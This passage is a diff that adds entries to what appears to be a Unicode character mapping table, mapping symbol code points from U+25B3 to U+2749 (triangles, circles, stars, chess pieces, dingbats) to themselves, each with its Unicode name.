+ ["\u25B3", "\u25B3"], /* WHITE UP-POINTING TRIANGLE (WHITE UP POINTING TRIANGLE) */
+ ["\u25B4", "\u25B4"], /* BLACK UP-POINTING SMALL TRIANGLE (BLACK UP POINTING SMALL TRIANGLE) */
+ ["\u25B5", "\u25B5"], /* WHITE UP-POINTING SMALL TRIANGLE (WHITE UP POINTING SMALL TRIANGLE) */
+ ["\u25B6", "\u25B6"], /* BLACK RIGHT-POINTING TRIANGLE (BLACK RIGHT POINTING TRIANGLE) */
+ ["\u25B7", "\u25B7"], /* WHITE RIGHT-POINTING TRIANGLE (WHITE RIGHT POINTING TRIANGLE) */
+ ["\u25B8", "\u25B8"], /* BLACK RIGHT-POINTING SMALL TRIANGLE (BLACK RIGHT POINTING SMALL TRIANGLE) */
+ ["\u25B9", "\u25B9"], /* WHITE RIGHT-POINTING SMALL TRIANGLE (WHITE RIGHT POINTING SMALL TRIANGLE) */
+ ["\u25BA", "\u25BA"], /* BLACK RIGHT-POINTING POINTER (BLACK RIGHT POINTING POINTER) */
+ ["\u25BB", "\u25BB"], /* WHITE RIGHT-POINTING POINTER (WHITE RIGHT POINTING POINTER) */
+ ["\u25BC", "\u25BC"], /* BLACK DOWN-POINTING TRIANGLE (BLACK DOWN POINTING TRIANGLE) */
+ ["\u25BD", "\u25BD"], /* WHITE DOWN-POINTING TRIANGLE (WHITE DOWN POINTING TRIANGLE) */
+ ["\u25BE", "\u25BE"], /* BLACK DOWN-POINTING SMALL TRIANGLE (BLACK DOWN POINTING SMALL TRIANGLE) */
+ ["\u25BF", "\u25BF"], /* WHITE DOWN-POINTING SMALL TRIANGLE (WHITE DOWN POINTING SMALL TRIANGLE) */
+ ["\u25C0", "\u25C0"], /* BLACK LEFT-POINTING TRIANGLE (BLACK LEFT POINTING TRIANGLE) */
+ ["\u25C1", "\u25C1"], /* WHITE LEFT-POINTING TRIANGLE (WHITE LEFT POINTING TRIANGLE) */
+ ["\u25C2", "\u25C2"], /* BLACK LEFT-POINTING SMALL TRIANGLE (BLACK LEFT POINTING SMALL TRIANGLE) */
+ ["\u25C3", "\u25C3"], /* WHITE LEFT-POINTING SMALL TRIANGLE (WHITE LEFT POINTING SMALL TRIANGLE) */
+ ["\u25C4", "\u25C4"], /* BLACK LEFT-POINTING POINTER (BLACK LEFT POINTING POINTER) */
+ ["\u25C5", "\u25C5"], /* WHITE LEFT-POINTING POINTER (WHITE LEFT POINTING POINTER) */
+ ["\u25C6", "\u25C6"], /* BLACK DIAMOND */
+ ["\u25C7", "\u25C7"], /* WHITE DIAMOND */
+ ["\u25C8", "\u25C8"], /* WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND */
+ ["\u25C9", "\u25C9"], /* FISHEYE */
+ ["\u25CA", "\u25CA"], /* LOZENGE */
+ ["\u25CB", "\u25CB"], /* WHITE CIRCLE */
+ ["\u25CC", "\u25CC"], /* DOTTED CIRCLE */
+ ["\u25CD", "\u25CD"], /* CIRCLE WITH VERTICAL FILL */
+ ["\u25CE", "\u25CE"], /* BULLSEYE */
+ ["\u25CF", "\u25CF"], /* BLACK CIRCLE */
+ ["\u25D0", "\u25D0"], /* CIRCLE WITH LEFT HALF BLACK */
+ ["\u25D1", "\u25D1"], /* CIRCLE WITH RIGHT HALF BLACK */
+ ["\u25D2", "\u25D2"], /* CIRCLE WITH LOWER HALF BLACK */
+ ["\u25D3", "\u25D3"], /* CIRCLE WITH UPPER HALF BLACK */
+ ["\u25D4", "\u25D4"], /* CIRCLE WITH UPPER RIGHT QUADRANT BLACK */
+ ["\u25D5", "\u25D5"], /* CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK */
+ ["\u25D6", "\u25D6"], /* LEFT HALF BLACK CIRCLE */
+ ["\u25D7", "\u25D7"], /* RIGHT HALF BLACK CIRCLE */
+ ["\u25D8", "\u25D8"], /* INVERSE BULLET */
+ ["\u25D9", "\u25D9"], /* INVERSE WHITE CIRCLE */
+ ["\u25DA", "\u25DA"], /* UPPER HALF INVERSE WHITE CIRCLE */
+ ["\u25DB", "\u25DB"], /* LOWER HALF INVERSE WHITE CIRCLE */
+ ["\u25DC", "\u25DC"], /* UPPER LEFT QUADRANT CIRCULAR ARC */
+ ["\u25DD", "\u25DD"], /* UPPER RIGHT QUADRANT CIRCULAR ARC */
+ ["\u25DE", "\u25DE"], /* LOWER RIGHT QUADRANT CIRCULAR ARC */
+ ["\u25DF", "\u25DF"], /* LOWER LEFT QUADRANT CIRCULAR ARC */
+ ["\u25E0", "\u25E0"], /* UPPER HALF CIRCLE */
+ ["\u25E1", "\u25E1"], /* LOWER HALF CIRCLE */
+ ["\u25E2", "\u25E2"], /* BLACK LOWER RIGHT TRIANGLE */
+ ["\u25E3", "\u25E3"], /* BLACK LOWER LEFT TRIANGLE */
+ ["\u25E4", "\u25E4"], /* BLACK UPPER LEFT TRIANGLE */
+ ["\u25E5", "\u25E5"], /* BLACK UPPER RIGHT TRIANGLE */
+ ["\u25E6", "\u25E6"], /* WHITE BULLET */
+ ["\u25E7", "\u25E7"], /* SQUARE WITH LEFT HALF BLACK */
+ ["\u25E8", "\u25E8"], /* SQUARE WITH RIGHT HALF BLACK */
+ ["\u25E9", "\u25E9"], /* SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK */
+ ["\u25EA", "\u25EA"], /* SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK */
+ ["\u25EB", "\u25EB"], /* WHITE SQUARE WITH VERTICAL BISECTING LINE */
+ ["\u25EC", "\u25EC"], /* WHITE UP-POINTING TRIANGLE WITH DOT (WHITE UP POINTING TRIANGLE WITH DOT) */
+ ["\u25ED", "\u25ED"], /* UP-POINTING TRIANGLE WITH LEFT HALF BLACK (UP POINTING TRIANGLE WITH LEFT HALF BLACK) */
+ ["\u25EE", "\u25EE"], /* UP-POINTING TRIANGLE WITH RIGHT HALF BLACK (UP POINTING TRIANGLE WITH RIGHT HALF BLACK) */
+ ["\u25EF", "\u25EF"], /* LARGE CIRCLE */
+ ["\u25F0", "\u25F0"], /* WHITE SQUARE WITH UPPER LEFT QUADRANT */
+ ["\u25F1", "\u25F1"], /* WHITE SQUARE WITH LOWER LEFT QUADRANT */
+ ["\u25F2", "\u25F2"], /* WHITE SQUARE WITH LOWER RIGHT QUADRANT */
+ ["\u25F3", "\u25F3"], /* WHITE SQUARE WITH UPPER RIGHT QUADRANT */
+ ["\u25F4", "\u25F4"], /* WHITE CIRCLE WITH UPPER LEFT QUADRANT */
+ ["\u25F5", "\u25F5"], /* WHITE CIRCLE WITH LOWER LEFT QUADRANT */
+ ["\u25F6", "\u25F6"], /* WHITE CIRCLE WITH LOWER RIGHT QUADRANT */
+ ["\u25F7", "\u25F7"], /* WHITE CIRCLE WITH UPPER RIGHT QUADRANT */
+ ["\u25F8", "\u25F8"], /* UPPER LEFT TRIANGLE */
+ ["\u25F9", "\u25F9"], /* UPPER RIGHT TRIANGLE */
+ ["\u25FA", "\u25FA"], /* LOWER LEFT TRIANGLE */
+ ["\u25FB", "\u25FB"], /* WHITE MEDIUM SQUARE */
+ ["\u25FC", "\u25FC"], /* BLACK MEDIUM SQUARE */
+ ["\u25FD", "\u25FD"], /* WHITE MEDIUM SMALL SQUARE */
+ ["\u25FE", "\u25FE"], /* BLACK MEDIUM SMALL SQUARE */
+ ["\u25FF", "\u25FF"], /* LOWER RIGHT TRIANGLE */
+ ["\u2600", "\u2600"], /* BLACK SUN WITH RAYS */
+ ["\u2601", "\u2601"], /* CLOUD */
+ ["\u2602", "\u2602"], /* UMBRELLA */
+ ["\u2603", "\u2603"], /* SNOWMAN */
+ ["\u2604", "\u2604"], /* COMET */
+ ["\u2605", "\u2605"], /* BLACK STAR */
+ ["\u2606", "\u2606"], /* WHITE STAR */
+ ["\u2607", "\u2607"], /* LIGHTNING */
+ ["\u2608", "\u2608"], /* THUNDERSTORM */
+ ["\u2609", "\u2609"], /* SUN */
+ ["\u260A", "\u260A"], /* ASCENDING NODE */
+ ["\u260B", "\u260B"], /* DESCENDING NODE */
+ ["\u260C", "\u260C"], /* CONJUNCTION */
+ ["\u260D", "\u260D"], /* OPPOSITION */
+ ["\u260E", "\u260E"], /* BLACK TELEPHONE */
+ ["\u260F", "\u260F"], /* WHITE TELEPHONE */
+ ["\u2610", "\u2610"], /* BALLOT BOX */
+ ["\u2611", "\u2611"], /* BALLOT BOX WITH CHECK */
+ ["\u2612", "\u2612"], /* BALLOT BOX WITH X */
+ ["\u2613", "\u2613"], /* SALTIRE */
+ ["\u2614", "\u2614"], /* UMBRELLA WITH RAIN DROPS */
+ ["\u2615", "\u2615"], /* HOT BEVERAGE */
+ ["\u2616", "\u2616"], /* WHITE SHOGI PIECE */
+ ["\u2617", "\u2617"], /* BLACK SHOGI PIECE */
+ ["\u2618", "\u2618"], /* SHAMROCK */
+ ["\u2619", "\u2619"], /* REVERSED ROTATED FLORAL HEART BULLET */
+ ["\u261A", "\u261A"], /* BLACK LEFT POINTING INDEX */
+ ["\u261B", "\u261B"], /* BLACK RIGHT POINTING INDEX */
+ ["\u261C", "\u261C"], /* WHITE LEFT POINTING INDEX */
+ ["\u261D", "\u261D"], /* WHITE UP POINTING INDEX */
+ ["\u261E", "\u261E"], /* WHITE RIGHT POINTING INDEX */
+ ["\u261F", "\u261F"], /* WHITE DOWN POINTING INDEX */
+ ["\u2620", "\u2620"], /* SKULL AND CROSSBONES */
+ ["\u2621", "\u2621"], /* CAUTION SIGN */
+ ["\u2622", "\u2622"], /* RADIOACTIVE SIGN */
+ ["\u2623", "\u2623"], /* BIOHAZARD SIGN */
+ ["\u2624", "\u2624"], /* CADUCEUS */
+ ["\u2625", "\u2625"], /* ANKH */
+ ["\u2626", "\u2626"], /* ORTHODOX CROSS */
+ ["\u2627", "\u2627"], /* CHI RHO */
+ ["\u2628", "\u2628"], /* CROSS OF LORRAINE */
+ ["\u2629", "\u2629"], /* CROSS OF JERUSALEM */
+ ["\u262A", "\u262A"], /* STAR AND CRESCENT */
+ ["\u262B", "\u262B"], /* FARSI SYMBOL (SYMBOL OF IRAN) */
+ ["\u262C", "\u262C"], /* ADI SHAKTI */
+ ["\u262D", "\u262D"], /* HAMMER AND SICKLE */
+ ["\u262E", "\u262E"], /* PEACE SYMBOL */
+ ["\u262F", "\u262F"], /* YIN YANG */
+ ["\u2630", "\u2630"], /* TRIGRAM FOR HEAVEN */
+ ["\u2631", "\u2631"], /* TRIGRAM FOR LAKE */
+ ["\u2632", "\u2632"], /* TRIGRAM FOR FIRE */
+ ["\u2633", "\u2633"], /* TRIGRAM FOR THUNDER */
+ ["\u2634", "\u2634"], /* TRIGRAM FOR WIND */
+ ["\u2635", "\u2635"], /* TRIGRAM FOR WATER */
+ ["\u2636", "\u2636"], /* TRIGRAM FOR MOUNTAIN */
+ ["\u2637", "\u2637"], /* TRIGRAM FOR EARTH */
+ ["\u2638", "\u2638"], /* WHEEL OF DHARMA */
+ ["\u2639", "\u2639"], /* WHITE FROWNING FACE */
+ ["\u263A", "\u263A"], /* WHITE SMILING FACE */
+ ["\u263B", "\u263B"], /* BLACK SMILING FACE */
+ ["\u263C", "\u263C"], /* WHITE SUN WITH RAYS */
+ ["\u263D", "\u263D"], /* FIRST QUARTER MOON */
+ ["\u263E", "\u263E"], /* LAST QUARTER MOON */
+ ["\u263F", "\u263F"], /* MERCURY */
+ ["\u2640", "\u2640"], /* FEMALE SIGN */
+ ["\u2641", "\u2641"], /* EARTH */
+ ["\u2642", "\u2642"], /* MALE SIGN */
+ ["\u2643", "\u2643"], /* JUPITER */
+ ["\u2644", "\u2644"], /* SATURN */
+ ["\u2645", "\u2645"], /* URANUS */
+ ["\u2646", "\u2646"], /* NEPTUNE */
+ ["\u2647", "\u2647"], /* PLUTO */
+ ["\u2648", "\u2648"], /* ARIES */
+ ["\u2649", "\u2649"], /* TAURUS */
+ ["\u264A", "\u264A"], /* GEMINI */
+ ["\u264B", "\u264B"], /* CANCER */
+ ["\u264C", "\u264C"], /* LEO */
+ ["\u264D", "\u264D"], /* VIRGO */
+ ["\u264E", "\u264E"], /* LIBRA */
+ ["\u264F", "\u264F"], /* SCORPIUS */
+ ["\u2650", "\u2650"], /* SAGITTARIUS */
+ ["\u2651", "\u2651"], /* CAPRICORN */
+ ["\u2652", "\u2652"], /* AQUARIUS */
+ ["\u2653", "\u2653"], /* PISCES */
+ ["\u2654", "\u2654"], /* WHITE CHESS KING */
+ ["\u2655", "\u2655"], /* WHITE CHESS QUEEN */
+ ["\u2656", "\u2656"], /* WHITE CHESS ROOK */
+ ["\u2657", "\u2657"], /* WHITE CHESS BISHOP */
+ ["\u2658", "\u2658"], /* WHITE CHESS KNIGHT */
+ ["\u2659", "\u2659"], /* WHITE CHESS PAWN */
+ ["\u265A", "\u265A"], /* BLACK CHESS KING */
+ ["\u265B", "\u265B"], /* BLACK CHESS QUEEN */
+ ["\u265C", "\u265C"], /* BLACK CHESS ROOK */
+ ["\u265D", "\u265D"], /* BLACK CHESS BISHOP */
+ ["\u265E", "\u265E"], /* BLACK CHESS KNIGHT */
+ ["\u265F", "\u265F"], /* BLACK CHESS PAWN */
+ ["\u2660", "\u2660"], /* BLACK SPADE SUIT */
+ ["\u2661", "\u2661"], /* WHITE HEART SUIT */
+ ["\u2662", "\u2662"], /* WHITE DIAMOND SUIT */
+ ["\u2663", "\u2663"], /* BLACK CLUB SUIT */
+ ["\u2664", "\u2664"], /* WHITE SPADE SUIT */
+ ["\u2665", "\u2665"], /* BLACK HEART SUIT */
+ ["\u2666", "\u2666"], /* BLACK DIAMOND SUIT */
+ ["\u2667", "\u2667"], /* WHITE CLUB SUIT */
+ ["\u2668", "\u2668"], /* HOT SPRINGS */
+ ["\u2669", "\u2669"], /* QUARTER NOTE */
+ ["\u266A", "\u266A"], /* EIGHTH NOTE */
+ ["\u266B", "\u266B"], /* BEAMED EIGHTH NOTES (BARRED EIGHTH NOTES) */
+ ["\u266C", "\u266C"], /* BEAMED SIXTEENTH NOTES (BARRED SIXTEENTH NOTES) */
+ ["\u266D", "\u266D"], /* MUSIC FLAT SIGN (FLAT) */
+ ["\u266E", "\u266E"], /* MUSIC NATURAL SIGN (NATURAL) */
+ ["\u266F", "\u266F"], /* MUSIC SHARP SIGN (SHARP) */
+ ["\u2670", "\u2670"], /* WEST SYRIAC CROSS */
+ ["\u2671", "\u2671"], /* EAST SYRIAC CROSS */
+ ["\u2672", "\u2672"], /* UNIVERSAL RECYCLING SYMBOL */
+ ["\u2673", "\u2673"], /* RECYCLING SYMBOL FOR TYPE-1 PLASTICS */
+ ["\u2674", "\u2674"], /* RECYCLING SYMBOL FOR TYPE-2 PLASTICS */
+ ["\u2675", "\u2675"], /* RECYCLING SYMBOL FOR TYPE-3 PLASTICS */
+ ["\u2676", "\u2676"], /* RECYCLING SYMBOL FOR TYPE-4 PLASTICS */
+ ["\u2677", "\u2677"], /* RECYCLING SYMBOL FOR TYPE-5 PLASTICS */
+ ["\u2678", "\u2678"], /* RECYCLING SYMBOL FOR TYPE-6 PLASTICS */
+ ["\u2679", "\u2679"], /* RECYCLING SYMBOL FOR TYPE-7 PLASTICS */
+ ["\u267A", "\u267A"], /* RECYCLING SYMBOL FOR GENERIC MATERIALS */
+ ["\u267B", "\u267B"], /* BLACK UNIVERSAL RECYCLING SYMBOL */
+ ["\u267C", "\u267C"], /* RECYCLED PAPER SYMBOL */
+ ["\u267D", "\u267D"], /* PARTIALLY-RECYCLED PAPER SYMBOL */
+ ["\u267E", "\u267E"], /* PERMANENT PAPER SIGN */
+ ["\u267F", "\u267F"], /* WHEELCHAIR SYMBOL */
+ ["\u2680", "\u2680"], /* DIE FACE-1 */
+ ["\u2681", "\u2681"], /* DIE FACE-2 */
+ ["\u2682", "\u2682"], /* DIE FACE-3 */
+ ["\u2683", "\u2683"], /* DIE FACE-4 */
+ ["\u2684", "\u2684"], /* DIE FACE-5 */
+ ["\u2685", "\u2685"], /* DIE FACE-6 */
+ ["\u2686", "\u2686"], /* WHITE CIRCLE WITH DOT RIGHT */
+ ["\u2687", "\u2687"], /* WHITE CIRCLE WITH TWO DOTS */
+ ["\u2688", "\u2688"], /* BLACK CIRCLE WITH WHITE DOT RIGHT */
+ ["\u2689", "\u2689"], /* BLACK CIRCLE WITH TWO WHITE DOTS */
+ ["\u268A", "\u268A"], /* MONOGRAM FOR YANG */
+ ["\u268B", "\u268B"], /* MONOGRAM FOR YIN */
+ ["\u268C", "\u268C"], /* DIGRAM FOR GREATER YANG */
+ ["\u268D", "\u268D"], /* DIGRAM FOR LESSER YIN */
+ ["\u268E", "\u268E"], /* DIGRAM FOR LESSER YANG */
+ ["\u268F", "\u268F"], /* DIGRAM FOR GREATER YIN */
+ ["\u2690", "\u2690"], /* WHITE FLAG */
+ ["\u2691", "\u2691"], /* BLACK FLAG */
+ ["\u2692", "\u2692"], /* HAMMER AND PICK */
+ ["\u2693", "\u2693"], /* ANCHOR */
+ ["\u2694", "\u2694"], /* CROSSED SWORDS */
+ ["\u2695", "\u2695"], /* STAFF OF AESCULAPIUS */
+ ["\u2696", "\u2696"], /* SCALES */
+ ["\u2697", "\u2697"], /* ALEMBIC */
+ ["\u2698", "\u2698"], /* FLOWER */
+ ["\u2699", "\u2699"], /* GEAR */
+ ["\u269A", "\u269A"], /* STAFF OF HERMES */
+ ["\u269B", "\u269B"], /* ATOM SYMBOL */
+ ["\u269C", "\u269C"], /* FLEUR-DE-LIS */
+ ["\u269D", "\u269D"], /* OUTLINED WHITE STAR */
+ ["\u269E", "\u269E"], /* THREE LINES CONVERGING RIGHT */
+ ["\u269F", "\u269F"], /* THREE LINES CONVERGING LEFT */
+ ["\u26A0", "\u26A0"], /* WARNING SIGN */
+ ["\u26A1", "\u26A1"], /* HIGH VOLTAGE SIGN */
+ ["\u26A2", "\u26A2"], /* DOUBLED FEMALE SIGN */
+ ["\u26A3", "\u26A3"], /* DOUBLED MALE SIGN */
+ ["\u26A4", "\u26A4"], /* INTERLOCKED FEMALE AND MALE SIGN */
+ ["\u26A5", "\u26A5"], /* MALE AND FEMALE SIGN */
+ ["\u26A6", "\u26A6"], /* MALE WITH STROKE SIGN */
+ ["\u26A7", "\u26A7"], /* MALE WITH STROKE AND MALE AND FEMALE SIGN */
+ ["\u26A8", "\u26A8"], /* VERTICAL MALE WITH STROKE SIGN */
+ ["\u26A9", "\u26A9"], /* HORIZONTAL MALE WITH STROKE SIGN */
+ ["\u26AA", "\u26AA"], /* MEDIUM WHITE CIRCLE */
+ ["\u26AB", "\u26AB"], /* MEDIUM BLACK CIRCLE */
+ ["\u26AC", "\u26AC"], /* MEDIUM SMALL WHITE CIRCLE */
+ ["\u26AD", "\u26AD"], /* MARRIAGE SYMBOL */
+ ["\u26AE", "\u26AE"], /* DIVORCE SYMBOL */
+ ["\u26AF", "\u26AF"], /* UNMARRIED PARTNERSHIP SYMBOL */
+ ["\u26B0", "\u26B0"], /* COFFIN */
+ ["\u26B1", "\u26B1"], /* FUNERAL URN */
+ ["\u26B2", "\u26B2"], /* NEUTER */
+ ["\u26B3", "\u26B3"], /* CERES */
+ ["\u26B4", "\u26B4"], /* PALLAS */
+ ["\u26B5", "\u26B5"], /* JUNO */
+ ["\u26B6", "\u26B6"], /* VESTA */
+ ["\u26B7", "\u26B7"], /* CHIRON */
+ ["\u26B8", "\u26B8"], /* BLACK MOON LILITH */
+ ["\u26B9", "\u26B9"], /* SEXTILE */
+ ["\u26BA", "\u26BA"], /* SEMISEXTILE */
+ ["\u26BB", "\u26BB"], /* QUINCUNX */
+ ["\u26BC", "\u26BC"], /* SESQUIQUADRATE */
+ ["\u26BD", "\u26BD"], /* SOCCER BALL */
+ ["\u26BE", "\u26BE"], /* BASEBALL */
+ ["\u26BF", "\u26BF"], /* SQUARED KEY */
+ ["\u26C0", "\u26C0"], /* WHITE DRAUGHTS MAN */
+ ["\u26C1", "\u26C1"], /* WHITE DRAUGHTS KING */
+ ["\u26C2", "\u26C2"], /* BLACK DRAUGHTS MAN */
+ ["\u26C3", "\u26C3"], /* BLACK DRAUGHTS KING */
+ ["\u26C4", "\u26C4"], /* SNOWMAN WITHOUT SNOW */
+ ["\u26C5", "\u26C5"], /* SUN BEHIND CLOUD */
+ ["\u26C6", "\u26C6"], /* RAIN */
+ ["\u26C7", "\u26C7"], /* BLACK SNOWMAN */
+ ["\u26C8", "\u26C8"], /* THUNDER CLOUD AND RAIN */
+ ["\u26C9", "\u26C9"], /* TURNED WHITE SHOGI PIECE */
+ ["\u26CA", "\u26CA"], /* TURNED BLACK SHOGI PIECE */
+ ["\u26CB", "\u26CB"], /* WHITE DIAMOND IN SQUARE */
+ ["\u26CC", "\u26CC"], /* CROSSING LANES */
+ ["\u26CD", "\u26CD"], /* DISABLED CAR */
+ ["\u26CE", "\u26CE"], /* OPHIUCHUS */
+ ["\u26CF", "\u26CF"], /* PICK */
+ ["\u26D0", "\u26D0"], /* CAR SLIDING */
+ ["\u26D1", "\u26D1"], /* HELMET WITH WHITE CROSS */
+ ["\u26D2", "\u26D2"], /* CIRCLED CROSSING LANES */
+ ["\u26D3", "\u26D3"], /* CHAINS */
+ ["\u26D4", "\u26D4"], /* NO ENTRY */
+ ["\u26D5", "\u26D5"], /* ALTERNATE ONE-WAY LEFT WAY TRAFFIC */
+ ["\u26D6", "\u26D6"], /* BLACK TWO-WAY LEFT WAY TRAFFIC */
+ ["\u26D7", "\u26D7"], /* WHITE TWO-WAY LEFT WAY TRAFFIC */
+ ["\u26D8", "\u26D8"], /* BLACK LEFT LANE MERGE */
+ ["\u26D9", "\u26D9"], /* WHITE LEFT LANE MERGE */
+ ["\u26DA", "\u26DA"], /* DRIVE SLOW SIGN */
+ ["\u26DB", "\u26DB"], /* HEAVY WHITE DOWN-POINTING TRIANGLE */
+ ["\u26DC", "\u26DC"], /* LEFT CLOSED ENTRY */
+ ["\u26DD", "\u26DD"], /* SQUARED SALTIRE */
+ ["\u26DE", "\u26DE"], /* FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE */
+ ["\u26DF", "\u26DF"], /* BLACK TRUCK */
+ ["\u26E0", "\u26E0"], /* RESTRICTED LEFT ENTRY-1 */
+ ["\u26E1", "\u26E1"], /* RESTRICTED LEFT ENTRY-2 */
+ ["\u26E2", "\u26E2"], /* ASTRONOMICAL SYMBOL FOR URANUS */
+ ["\u26E3", "\u26E3"], /* HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE */
+ ["\u26E4", "\u26E4"], /* PENTAGRAM */
+ ["\u26E5", "\u26E5"], /* RIGHT-HANDED INTERLACED PENTAGRAM */
+ ["\u26E6", "\u26E6"], /* LEFT-HANDED INTERLACED PENTAGRAM */
+ ["\u26E7", "\u26E7"], /* INVERTED PENTAGRAM */
+ ["\u26E8", "\u26E8"], /* BLACK CROSS ON SHIELD */
+ ["\u26E9", "\u26E9"], /* SHINTO SHRINE */
+ ["\u26EA", "\u26EA"], /* CHURCH */
+ ["\u26EB", "\u26EB"], /* CASTLE */
+ ["\u26EC", "\u26EC"], /* HISTORIC SITE */
+ ["\u26ED", "\u26ED"], /* GEAR WITHOUT HUB */
+ ["\u26EE", "\u26EE"], /* GEAR WITH HANDLES */
+ ["\u26EF", "\u26EF"], /* MAP SYMBOL FOR LIGHTHOUSE */
+ ["\u26F0", "\u26F0"], /* MOUNTAIN */
+ ["\u26F1", "\u26F1"], /* UMBRELLA ON GROUND */
+ ["\u26F2", "\u26F2"], /* FOUNTAIN */
+ ["\u26F3", "\u26F3"], /* FLAG IN HOLE */
+ ["\u26F4", "\u26F4"], /* FERRY */
+ ["\u26F5", "\u26F5"], /* SAILBOAT */
+ ["\u26F6", "\u26F6"], /* SQUARE FOUR CORNERS */
+ ["\u26F7", "\u26F7"], /* SKIER */
+ ["\u26F8", "\u26F8"], /* ICE SKATE */
+ ["\u26F9", "\u26F9"], /* PERSON WITH BALL */
+ ["\u26FA", "\u26FA"], /* TENT */
+ ["\u26FB", "\u26FB"], /* JAPANESE BANK SYMBOL */
+ ["\u26FC", "\u26FC"], /* HEADSTONE GRAVEYARD SYMBOL */
+ ["\u26FD", "\u26FD"], /* FUEL PUMP */
+ ["\u26FE", "\u26FE"], /* CUP ON BLACK SQUARE */
+ ["\u26FF", "\u26FF"], /* WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE */
+ ["\u2700", "\u2700"], /* BLACK SAFETY SCISSORS */
+ ["\u2701", "\u2701"], /* UPPER BLADE SCISSORS */
+ ["\u2702", "\u2702"], /* BLACK SCISSORS */
+ ["\u2703", "\u2703"], /* LOWER BLADE SCISSORS */
+ ["\u2704", "\u2704"], /* WHITE SCISSORS */
+ ["\u2705", "\u2705"], /* WHITE HEAVY CHECK MARK */
+ ["\u2706", "\u2706"], /* TELEPHONE LOCATION SIGN */
+ ["\u2707", "\u2707"], /* TAPE DRIVE */
+ ["\u2708", "\u2708"], /* AIRPLANE */
+ ["\u2709", "\u2709"], /* ENVELOPE */
+ ["\u270A", "\u270A"], /* RAISED FIST */
+ ["\u270B", "\u270B"], /* RAISED HAND */
+ ["\u270C", "\u270C"], /* VICTORY HAND */
+ ["\u270D", "\u270D"], /* WRITING HAND */
+ ["\u270E", "\u270E"], /* LOWER RIGHT PENCIL */
+ ["\u270F", "\u270F"], /* PENCIL */
+ ["\u2710", "\u2710"], /* UPPER RIGHT PENCIL */
+ ["\u2711", "\u2711"], /* WHITE NIB */
+ ["\u2712", "\u2712"], /* BLACK NIB */
+ ["\u2713", "\u2713"], /* CHECK MARK */
+ ["\u2714", "\u2714"], /* HEAVY CHECK MARK */
+ ["\u2715", "\u2715"], /* MULTIPLICATION X */
+ ["\u2716", "\u2716"], /* HEAVY MULTIPLICATION X */
+ ["\u2717", "\u2717"], /* BALLOT X */
+ ["\u2718", "\u2718"], /* HEAVY BALLOT X */
+ ["\u2719", "\u2719"], /* OUTLINED GREEK CROSS */
+ ["\u271A", "\u271A"], /* HEAVY GREEK CROSS */
+ ["\u271B", "\u271B"], /* OPEN CENTRE CROSS (OPEN CENTER CROSS) */
+ ["\u271C", "\u271C"], /* HEAVY OPEN CENTRE CROSS (HEAVY OPEN CENTER CROSS) */
+ ["\u271D", "\u271D"], /* LATIN CROSS */
+ ["\u271E", "\u271E"], /* SHADOWED WHITE LATIN CROSS */
+ ["\u271F", "\u271F"], /* OUTLINED LATIN CROSS */
+ ["\u2720", "\u2720"], /* MALTESE CROSS */
+ ["\u2721", "\u2721"], /* STAR OF DAVID */
+ ["\u2722", "\u2722"], /* FOUR TEARDROP-SPOKED ASTERISK */
+ ["\u2723", "\u2723"], /* FOUR BALLOON-SPOKED ASTERISK */
+ ["\u2724", "\u2724"], /* HEAVY FOUR BALLOON-SPOKED ASTERISK */
+ ["\u2725", "\u2725"], /* FOUR CLUB-SPOKED ASTERISK */
+ ["\u2726", "\u2726"], /* BLACK FOUR POINTED STAR */
+ ["\u2727", "\u2727"], /* WHITE FOUR POINTED STAR */
+ ["\u2728", "\u2728"], /* SPARKLES */
+ ["\u2729", "\u2729"], /* STRESS OUTLINED WHITE STAR */
+ ["\u272A", "\u272A"], /* CIRCLED WHITE STAR */
+ ["\u272B", "\u272B"], /* OPEN CENTRE BLACK STAR (OPEN CENTER BLACK STAR) */
+ ["\u272C", "\u272C"], /* BLACK CENTRE WHITE STAR (BLACK CENTER WHITE STAR) */
+ ["\u272D", "\u272D"], /* OUTLINED BLACK STAR */
+ ["\u272E", "\u272E"], /* HEAVY OUTLINED BLACK STAR */
+ ["\u272F", "\u272F"], /* PINWHEEL STAR */
+ ["\u2730", "\u2730"], /* SHADOWED WHITE STAR */
+ ["\u2731", "\u2731"], /* HEAVY ASTERISK */
+ ["\u2732", "\u2732"], /* OPEN CENTRE ASTERISK (OPEN CENTER ASTERISK) */
+ ["\u2733", "\u2733"], /* EIGHT SPOKED ASTERISK */
+ ["\u2734", "\u2734"], /* EIGHT POINTED BLACK STAR */
+ ["\u2735", "\u2735"], /* EIGHT POINTED PINWHEEL STAR */
+ ["\u2736", "\u2736"], /* SIX POINTED BLACK STAR */
+ ["\u2737", "\u2737"], /* EIGHT POINTED RECTILINEAR BLACK STAR */
+ ["\u2738", "\u2738"], /* HEAVY EIGHT POINTED RECTILINEAR BLACK STAR */
+ ["\u2739", "\u2739"], /* TWELVE POINTED BLACK STAR */
+ ["\u273A", "\u273A"], /* SIXTEEN POINTED ASTERISK */
+ ["\u273B", "\u273B"], /* TEARDROP-SPOKED ASTERISK */
+ ["\u273C", "\u273C"], /* OPEN CENTRE TEARDROP-SPOKED ASTERISK (OPEN CENTER TEARDROP-SPOKED ASTERISK) */
+ ["\u273D", "\u273D"], /* HEAVY TEARDROP-SPOKED ASTERISK */
+ ["\u273E", "\u273E"], /* SIX PETALLED BLACK AND WHITE FLORETTE */
+ ["\u273F", "\u273F"], /* BLACK FLORETTE */
+ ["\u2740", "\u2740"], /* WHITE FLORETTE */
+ ["\u2741", "\u2741"], /* EIGHT PETALLED OUTLINED BLACK FLORETTE */
+ ["\u2742", "\u2742"], /* CIRCLED OPEN CENTRE EIGHT POINTED STAR (CIRCLED OPEN CENTER EIGHT POINTED STAR) */
+ ["\u2743", "\u2743"], /* HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK */
+ ["\u2744", "\u2744"], /* SNOWFLAKE */
+ ["\u2745", "\u2745"], /* TIGHT TRIFOLIATE SNOWFLAKE */
+ ["\u2746", "\u2746"], /* HEAVY CHEVRON SNOWFLAKE */
+ ["\u2747", "\u2747"], /* SPARKLE */
+ ["\u2748", "\u2748"], /* HEAVY SPARKLE */
+ ["\u2749", "\u2749"], /* BALLOON-SPOKED ASTERISK */
